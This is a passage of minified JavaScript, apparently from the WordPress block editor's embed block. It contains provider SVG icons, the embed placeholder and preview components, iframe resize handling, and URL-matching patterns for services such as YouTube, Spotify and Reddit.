1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z"})})}),fG={foreground:"#0073AA",src:(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.G,{children:(0,we.jsx)(_e.Path,{d:"M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z"})})})},hG={foreground:"#1db954",src:(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325"})})},gG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z"})}),vG={foreground:"#1ab7ea",src:(0,we.jsx)(_e.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,we.jsx)(_e.G,{children:(0,we.jsx)(_e.Path,{d:"M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z"})})})},bG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"})}),yG={foreground:"#35465c",src:(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z"})})},xG=(0,we.jsxs)(_e.SVG,{viewBox:"0 0 24 24",children:[(0,we.jsx)(_e.Path,{d:"M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z"}),(0,we.jsx)(_e.Path,{d:"M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z"}),(0,we.jsx)(_e.Path,{d:"M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z"})]}),_G=(0,we.jsxs)(_e.SVG,{viewBox:"0 0 24 24",children:[(0,we.jsx)(_e.Path,{d:"m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",fill:"#4bc7ee"}),(0,we.jsx)(_e.Path,{d:"m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",fill:"#d4cdcb"}),(0,we.jsx)(_e.Path,{d:"m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",fill:"#c3d82e"}),(0,we.jsx)(_e.Path,{d:"m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",fill:"#e4ecb0"}),(0,we.jsx)(_e.Path,{d:"m.0206909 21 19.5468091-9.063 1.6621 2.8344z",fill:"#209dbd"}),(0,we.jsx)(_e.Path,{d:"m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",fill:"#7cb3c9"})]}),kG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{d:"M11.903 16.568c-1.82 0-3.124-1.281-3.124-2.967a2.987 2.987 0 0 1 2.989-2.989c1.663 0 2.944 1.304 2.944 3.034 0 1.663-1.281 2.922-2.81 2.922ZM17.997 3l-3.308.73v5.107c-.809-1.034-2.045-1.37-3.505-1.37-1.529 0-2.9.561-4.023 1.662-1.259 1.214-1.933 2.764-1.933 4.495 0 1.888.72 3.506 2.113 4.742 1.056.944 2.314 1.415 3.775 1.415 1.438 0 2.517-.382 3.573-1.415v1.415h3.308V3Z",fill:"#333436"})}),wG=(0,we.jsx)(_e.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,we.jsx)(_e.Path,{d:"M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"})}),CG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 44 44",children:(0,we.jsx)(_e.Path,{d:"M32.59521,22.001l4.31885-4.84473-6.34131-1.38379.646-6.459-5.94336,2.61035L22,6.31934l-3.27344,5.60351L12.78418,9.3125l.645,6.458L7.08643,17.15234,11.40479,21.999,7.08594,26.84375l6.34131,1.38379-.64551,6.458,5.94287-2.60938L22,37.68066l3.27344-5.60351,5.94287,2.61035-.64551-6.458,6.34277-1.38183Zm.44385,2.75244L30.772,23.97827l-1.59558-2.07391,1.97888.735Zm-8.82147,6.1579L22.75,33.424V30.88977l1.52228-2.22168ZM18.56226,13.48816,19.819,15.09534l-2.49219-.88642L15.94037,12.337Zm6.87719.00116,2.62043-1.15027-1.38654,1.86981L24.183,15.0946Zm3.59357,2.6029-1.22546,1.7381.07525-2.73486,1.44507-1.94867ZM22,29.33008l-2.16406-3.15686L22,23.23688l2.16406,2.93634Zm-4.25458-9.582-.10528-3.836,3.60986,1.284v3.73242Zm5.00458-2.552,3.60986-1.284-.10528,3.836L22.75,20.92853Zm-7.78174-1.10559-.29352-2.94263,1.44245,1.94739.07519,2.73321Zm2.30982,5.08319,3.50817,1.18164-2.16247,2.9342-3.678-1.08447Zm2.4486,7.49285L21.25,30.88977v2.53485L19.78052,30.91Zm3.48707-6.31121,3.50817-1.18164,2.33228,3.03137-3.678,1.08447Zm10.87219-4.28113-2.714,3.04529L28.16418,19.928l1.92176-2.72565ZM24.06036,12.81769l-2.06012,2.6322-2.059-2.63318L22,9.292ZM9.91455,18.07227l4.00079-.87195,1.921,2.72735-3.20794,1.19019Zm2.93024,4.565,1.9801-.73462L13.228,23.97827l-2.26838.77429Zm-1.55591,3.58819L13.701,25.4021l2.64935.78058-2.14447.67853Zm3.64868,1.977L18.19,27.17334l.08313,3.46332L14.52979,32.2793Zm10.7876,2.43549.08447-3.464,3.25165,1.03052.407,4.07684Zm4.06824-3.77478-2.14545-.68,2.65063-.781,2.41266.825Z"})}),SG={foreground:"#f43e37",src:(0,we.jsxs)(_e.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,we.jsx)(_e.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M24,12A12,12,0,1,1,12,0,12,12,0,0,1,24,12Z"}),(0,we.jsx)(_e.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M2.67,12a9.33,9.33,0,0,1,18.66,0H19a7,7,0,1,0-7,7v2.33A9.33,9.33,0,0,1,2.67,12ZM12,17.6A5.6,5.6,0,1,1,17.6,12h-2A3.56,3.56,0,1,0,12,15.56Z",fill:"#fff"})]})},TG=(0,we.jsx)(_e.SVG,{viewBox:"0 0 24 24",children:(0,we.jsx)(_e.Path,{fill:"#0a7aff",d:"M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"})});var PG=o(A(),1),vE=o(v(),1),Z1e=()=>(0,vE.jsx)("div",{className:"wp-block-embed is-loading",children:(0,vE.jsx)(PG.Spinner,{})}),BG=Z1e;var Es=o(I(),1),Sn=o(A(),1),IG=o(T(),1),Cn=o(v(),1),K1e=({icon:e,label:t,value:r,onSubmit:a,onChange:n,cannotEmbed:i,fallback:l,tryAgain:s})=>(0,Cn.jsxs)(Sn.Placeholder,{icon:(0,Cn.jsx)(IG.BlockIcon,{icon:e,showColors:!0}),label:t,className:"wp-block-embed",instructions:(0,Es.__)("Paste a link to the content you want to display on your site."),children:[(0,Cn.jsxs)("form",{onSubmit:a,children:[(0,Cn.jsx)(Sn.__experimentalInputControl,{__next40pxDefaultSize:!0,type:"url",value:r||"",className:"wp-block-embed__placeholder-input",label:t,hideLabelFromVision:!0,placeholder:(0,Es.__)("Enter URL to embed here\u2026"),onChange:n}),(0,Cn.jsx)(Sn.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,Es._x)("Embed","button label")})]}),(0,Cn.jsx)("div",{className:"wp-block-embed__learn-more",children:(0,Cn.jsx)(Sn.ExternalLink,{href:(0,Es.__)("https://wordpress.org/documentation/article/embeds/"),children:(0,Es.__)("Learn more about embeds")})}),i&&(0,Cn.jsxs)(Sn.__experimentalVStack,{spacing:3,className:"components-placeholder__error",children:[(0,Cn.jsx)("div",{className:"components-placeholder__instructions",children:(0,Es.__)("Sorry, this content could not be embedded.")}),(0,Cn.jsxs)(Sn.__experimentalHStack,{expanded:!1,spacing:3,justify:"flex-start",children:[(0,Cn.jsx)(Sn.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:s,children:(0,Es._x)("Try again","button label")})," ",(0,Cn.jsx)(Sn.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:l,children:(0,Es._x)("Convert to link","button label")})]})]})]}),EG=K1e;var Jf=o(I(),1),m5=o(A(),1),DG=o(T(),1),LG=o(j(),1),MG=o(nr(),1);var u5=o(ue(),1),Xf=o(j(),1),bE=o(v(),1),Q1e={class:"className",frameborder:"frameBorder",marginheight:"marginHeight",marginwidth:"marginWidth"};function NG({html:e}){let t=(0,Xf.useRef)(),r=(0,Xf.useMemo)(()=>{let n=new window.DOMParser().parseFromString(e,"text/html").querySelector("iframe"),i={};return n&&Array.from(n.attributes).forEach(({name:l,value:s})=>{l!=="style"&&(i[Q1e[l]||l]=s)}),i},[e]);return(0,Xf.useEffect)(()=>{let{ownerDocument:a}=t.current,{defaultView:n}=a;function i({data:{secret:l,message:s,value:c}={}}){s!=="height"||l!==r["data-secret"]||(t.current.height=c)}return n.addEventListener("message",i),()=>{n.removeEventListener("message",i)}},[]),(0,bE.jsx)("div",{className:"wp-block-embed__wrapper",children:(0,bE.jsx)("iframe",{ref:(0,u5.useMergeRefs)([t,(0,u5.useFocusableIframe)()]),title:r.title,...r})})}var Tn=o(v(),1);function AG({preview:e,previewable:t,url:r,type:a,isSelected:n,className:i,icon:l,label:s}){let[c,u]=(0,LG.useState)(!1);!n&&c&&u(!1);let m=()=>{u(!0)},{scripts:p}=e,d=a==="photo"?hF(e):e.html,f=(0,MG.getAuthority)(r),h=(0,Jf.sprintf)((0,Jf.__)("Embedded content from %s"),f),g=w(a,i,"wp-block-embed__wrapper");return(0,Tn.jsx)(Tn.Fragment,{children:t?a==="wp-embed"?(0,Tn.jsx)(NG,{html:d}):(0,Tn.jsxs)("div",{className:"wp-block-embed__wrapper",children:[(0,Tn.jsx)(m5.SandBox,{html:d,scripts:p,title:h,type:g,onFocus:m}),!c&&(0,Tn.jsx)("div",{className:"block-library-embed__interactive-overlay",onMouseUp:m})]}):(0,Tn.jsxs)(m5.Placeholder,{icon:(0,Tn.jsx)(DG.BlockIcon,{icon:l,showColors:!0}),label:s,children:[(0,Tn.jsx)("p",{className:"components-placeholder__error",children:(0,Tn.jsx)("a",{href:r,children:r})}),(0,Tn.jsx)("p",{className:"components-placeholder__error",children:(0,Jf.sprintf)((0,Jf.__)("Embedded content from %s can't be previewed in the editor."),f)})]})})}var Up=o(I(),1),jp=o(j(),1),p5=o(z(),1),RG=o(T(),1),yE=o(Y(),1),xE=o(L(),1),zG=o(nr(),1);var li=o(v(),1),Y1e=e=>{let{attributes:{providerNameSlug:t,previewable:r,responsive:a,url:n},attributes:i,isSelected:l,onReplace:s,setAttributes:c,insertBlocksAfter:u,onFocus:m}=e,p={title:(0,Up._x)("Embed","block title"),icon:zl},{icon:d,title:f}=dF(t)||p,[h,g]=(0,jp.useState)(n),[b,y]=(0,jp.useState)(!1),{invalidateResolution:_}=(0,p5.useDispatch)(yE.store),{preview:x,fetching:k,themeSupportsResponsive:S,cannotEmbed:C,hasResolved:E}=(0,p5.useSelect)(G=>{let{getEmbedPreview:K,isPreviewEmbedFallback:X,isRequestingEmbedPreview:ee,getThemeSupports:ne,hasFinishedResolution:J}=G(yE.store);if(!n)return{fetching:!1,cannotEmbed:!1};let oe=K(n),ie=X(n),le=oe?.html===!1&&oe?.type===void 0,de=oe?.data?.status===404,Ve=!!oe&&!le&&!de;return{preview:Ve?oe:void 0,fetching:ee(n),themeSupportsResponsive:ne()["responsive-embeds"],cannotEmbed:!Ve||ie,hasResolved:J("getEmbedPreview",[n])}},[n]),B=()=>vF(i,x,f,a);function D(G){let{className:K}=i,{html:X}=x;c({allowResponsive:G,className:JB(X,K,a&&G)})}(0,jp.useEffect)(()=>{if(x?.html||!C||!E)return;let G=n.replace(/\/$/,"");g(G),y(!1),c({url:G})},[x?.html,n,C,E,c]),(0,jp.useEffect)(()=>{if(!(!C||k||!h)&&(0,zG.getAuthority)(h)==="x.com"){let G=new URL(h);G.host="twitter.com",c({url:G.toString()})}},[h,C,k,c]),(0,jp.useEffect)(()=>{if(x&&!b){let G=B();if(Object.keys(G).some(X=>G[X]!==i[X])&&c(G),s){let X=Hu(e,G);X&&s(X)}}},[x,b]);let M=(0,RG.useBlockProps)();if(k)return(0,li.jsx)(xE.View,{...M,children:(0,li.jsx)(BG,{})});let O=(0,Up.sprintf)((0,Up.__)("%s URL"),f);if(!x||C||b)return(0,li.jsx)(xE.View,{...M,children:(0,li.jsx)(EG,{icon:d,label:O,onFocus:m,onSubmit:G=>{G&&G.preventDefault();let K=Ou(i.className);y(!1),c({url:h,className:K})},value:h,cannotEmbed:C,onChange:G=>g(G),fallback:()=>gF(h,s),tryAgain:()=>{_("getEmbedPreview",[h])}})});let{caption:F,type:P,allowResponsive:H,className:$}=B(),V=w($,e.className);return(0,li.jsxs)(li.Fragment,{children:[(0,li.jsx)(cG,{showEditButton:x&&!C,themeSupportsResponsive:S,blockSupportsResponsive:a,allowResponsive:H,toggleResponsive:D,switchBackToURLInput:()=>y(!0)}),(0,li.jsxs)("figure",{...M,className:w(M.className,V,{[`is-type-${P}`]:P,[`is-provider-${t}`]:t,[`wp-block-embed-${t}`]:t}),children:[(0,li.jsx)(AG,{preview:x,previewable:r,className:V,url:h,type:P,caption:F,onCaptionChange:G=>c({caption:G}),isSelected:l,icon:d,label:O,insertBlocksAfter:u,attributes:i,setAttributes:c}),(0,li.jsx)(ha,{attributes:i,setAttributes:c,isSelected:l,insertBlocksAfter:u,label:(0,Up.__)("Embed caption text"),showToolbarButton:l})]})]})},VG=Y1e;var Gp=o(T(),1),Y1=o(v(),1);function FG({attributes:e}){let{url:t,caption:r,type:a,providerNameSlug:n}=e;if(!t)return null;let i=w("wp-block-embed",{[`is-type-${a}`]:a,[`is-provider-${n}`]:n,[`wp-block-embed-${n}`]:n});return(0,Y1.jsxs)("figure",{...Gp.useBlockProps.save({className:i}),children:[(0,Y1.jsx)("div",{className:"wp-block-embed__wrapper",children:`
${t}
`}),!Gp.RichText.isEmpty(r)&&(0,Y1.jsx)(Gp.RichText.Content,{className:(0,Gp.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:r})]})}var _E=o(U(),1);var{name:X1e}=ks,J1e={from:[{type:"raw",isMatch:e=>e.nodeName==="P"&&/^\s*(https?:\/\/\S+)\s*$/i.test(e.textContent)&&e.textContent?.match(/https/gi)?.length===1,transform:e=>(0,_E.createBlock)(X1e,{url:e.textContent.trim()})}],to:[{type:"block",blocks:["core/paragraph"],isMatch:({url:e})=>!!e,transform:({url:e,caption:t,className:r})=>{let a=`<a href="${e}">${e}</a>`;return t?.trim()&&(a+=`<br />${t}`),(0,_E.createBlock)("core/paragraph",{content:a,className:Ou(r)})}}]},OG=J1e;var me=o(I(),1);function ht(e){return(0,me.sprintf)((0,me.__)("%s Embed"),e)}var HG=[{name:"twitter",title:ht("X"),icon:uG,keywords:["x","twitter","tweet",(0,me.__)("social")],description:(0,me.__)("Embed an X post."),patterns:[/^https?:\/\/(www\.)?twitter\.com\/.+/i],attributes:{providerNameSlug:"twitter",responsive:!0}},{name:"youtube",title:ht("YouTube"),icon:mG,keywords:[(0,me.__)("music"),(0,me.__)("video")],description:(0,me.__)("Embed a YouTube video."),patterns:[/^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,/^https?:\/\/youtu\.be\/.+/i],attributes:{providerNameSlug:"youtube",responsive:!0}},{name:"facebook",title:ht("Facebook"),icon:pG,keywords:[(0,me.__)("social")],description:(0,me.__)("Embed a Facebook post."),scope:["block"],patterns:[],attributes:{providerNameSlug:"facebook",previewable:!1,responsive:!0}},{name:"instagram",title:ht("Instagram"),icon:dG,keywords:[(0,me.__)("image"),(0,me.__)("social")],description:(0,me.__)("Embed an Instagram post."),scope:["block"],patterns:[],attributes:{providerNameSlug:"instagram",responsive:!0}},{name:"wordpress",title:ht("WordPress"),icon:fG,keywords:[(0,me.__)("post"),(0,me.__)("blog")],description:(0,me.__)("Embed a WordPress post."),attributes:{providerNameSlug:"wordpress"}},{name:"soundcloud",title:ht("SoundCloud"),icon:c5,keywords:[(0,me.__)("music"),(0,me.__)("audio")],description:(0,me.__)("Embed SoundCloud content."),patterns:[/^https?:\/\/(www\.)?soundcloud\.com\/.+/i],attributes:{providerNameSlug:"soundcloud",responsive:!0}},{name:"spotify",title:ht("Spotify"),icon:hG,keywords:[(0,me.__)("music"),(0,me.__)("audio")],description:(0,me.__)("Embed Spotify content."),patterns:[/^https?:\/\/(open|play)\.spotify\.com\/.+/i],attributes:{providerNameSlug:"spotify",responsive:!0}},{name:"flickr",title:ht("Flickr"),icon:gG,keywords:[(0,me.__)("image")],description:(0,me.__)("Embed Flickr content."),patterns:[/^https?:\/\/(www\.)?flickr\.com\/.+/i,/^https?:\/\/flic\.kr\/.+/i],attributes:{providerNameSlug:"flickr",responsive:!0}},{name:"vimeo",title:ht("Vimeo"),icon:vG,keywords:[(0,me.__)("video")],description:(0,me.__)("Embed a Vimeo video."),patterns:[/^https?:\/\/(www\.)?vimeo\.com\/.+/i],attributes:{providerNameSlug:"vimeo",responsive:!0}},{name:"animoto",title:ht("Animoto"),icon:_G,description:(0,me.__)("Embed an Animoto video."),patterns:[/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i],attributes:{providerNameSlug:"animoto",responsive:!0}},{name:"cloudup",title:ht("Cloudup"),icon:zl,description:(0,me.__)("Embed Cloudup content."),patterns:[/^https?:\/\/cloudup\.com\/.+/i],attributes:{providerNameSlug:"cloudup",responsive:!0}},{name:"collegehumor",title:ht("CollegeHumor"),icon:Yf,description:(0,me.__)("Embed CollegeHumor content."),scope:["block"],patterns:[],attributes:{providerNameSlug:"collegehumor",responsive:!0}},{name:"crowdsignal",title:ht("Crowdsignal"),icon:zl,keywords:["polldaddy",(0,me.__)("survey")],description:(0,me.__)("Embed Crowdsignal (formerly Polldaddy) content."),patterns:[/^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.crowdsignal\.net|.+\.survey\.fm)\/.+/i],attributes:{providerNameSlug:"crowdsignal",responsive:!0}},{name:"dailymotion",title:ht("Dailymotion"),icon:kG,keywords:[(0,me.__)("video")],description:(0,me.__)("Embed a Dailymotion video."),patterns:[/^https?:\/\/(www\.)?dailymotion\.com\/.+/i],attributes:{providerNameSlug:"dailymotion",responsive:!0}},{name:"imgur",title:ht("Imgur"),icon:gE,description:(0,me.__)("Embed Imgur content."),patterns:[/^https?:\/\/(.+\.)?imgur\.com\/.+/i],attributes:{providerNameSlug:"imgur",responsive:!0}},{name:"issuu",title:ht("Issuu"),icon:zl,description:(0,me.__)("Embed Issuu content."),patterns:[/^https?:\/\/(www\.)?issuu\.com\/.+/i],attributes:{providerNameSlug:"issuu",responsive:!0}},{name:"kickstarter",title:ht("Kickstarter"),icon:zl,description:(0,me.__)("Embed Kickstarter content."),patterns:[/^https?:\/\/(www\.)?kickstarter\.com\/.+/i,/^https?:\/\/kck\.st\/.+/i],attributes:{providerNameSlug:"kickstarter",responsive:!0}},{name:"mixcloud",title:ht("Mixcloud"),icon:c5,keywords:[(0,me.__)("music"),(0,me.__)("audio")],description:(0,me.__)("Embed Mixcloud content."),patterns:[/^https?:\/\/(www\.)?mixcloud\.com\/.+/i],attributes:{providerNameSlug:"mixcloud",responsive:!0}},{name:"pocket-casts",title:ht("Pocket Casts"),icon:SG,keywords:[(0,me.__)("podcast"),(0,me.__)("audio")],description:(0,me.__)("Embed a podcast player from Pocket Casts."),patterns:[/^https:\/\/pca.st\/\w+/i],attributes:{providerNameSlug:"pocket-casts",responsive:!0}},{name:"reddit",title:ht("Reddit"),icon:bG,description:(0,me.__)("Embed a Reddit thread."),patterns:[/^https?:\/\/(www\.)?reddit\.com\/.+/i],attributes:{providerNameSlug:"reddit",responsive:!0}},{name:"reverbnation",title:ht("ReverbNation"),icon:c5,description:(0,me.__)("Embed ReverbNation content."),patterns:[/^https?:\/\/(www\.)?reverbnation\.com\/.+/i],attributes:{providerNameSlug:"reverbnation",responsive:!0}},{name:"scribd",title:ht("Scribd"),icon:zl,description:(0,me.__)("Embed Scribd content."),patterns:[/^https?:\/\/(www\.)?scribd\.com\/.+/i],attributes:{providerNameSlug:"scribd",responsive:!0}},{name:"smugmug",title:ht("SmugMug"),icon:gE,description:(0,me.__)("Embed SmugMug content."),patterns:[/^https?:\/\/(.+\.)?smugmug\.com\/.*/i],attributes:{providerNameSlug:"smugmug",previewable:!1,responsive:!0}},{name:"speaker-deck",title:ht("Speaker Deck"),icon:zl,description:(0,me.__)("Embed Speaker Deck content."),patterns:[/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i],attributes:{providerNameSlug:"speaker-deck",responsive:!0}},{name:"tiktok",title:ht("TikTok"),icon:Yf,keywords:[(0,me.__)("video")],description:(0,me.__)("Embed a TikTok video."),patterns:[/^https?:\/\/(www\.)?tiktok\.com\/.+/i],attributes:{providerNameSlug:"tiktok",responsive:!0}},{name:"ted",title:ht("TED"),icon:Yf,description:(0,me.__)("Embed a TED video."),patterns:[/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i],attributes:{providerNameSlug:"ted",responsive:!0}},{name:"tumblr",title:ht("Tumblr"),icon:yG,keywords:[(0,me.__)("social")],description:(0,me.__)("Embed a Tumblr post."),patterns:[/^https?:\/\/(.+)\.tumblr\.com\/.+/i],attributes:{providerNameSlug:"tumblr",responsive:!0}},{name:"videopress",title:ht("VideoPress"),icon:Yf,keywords:[(0,me.__)("video")],description:(0,me.__)("Embed a VideoPress video."),patterns:[/^https?:\/\/videopress\.com\/.+/i],attributes:{providerNameSlug:"videopress",responsive:!0}},{name:"wordpress-tv",title:ht("WordPress.tv"),icon:Yf,description:(0,me.__)("Embed a WordPress.tv video."),patterns:[/^https?:\/\/wordpress\.tv\/.+/i],attributes:{providerNameSlug:"wordpress-tv",responsive:!0}},{name:"amazon-kindle",title:ht("Amazon Kindle"),icon:xG,keywords:[(0,me.__)("ebook")],description:(0,me.__)("Embed Amazon Kindle 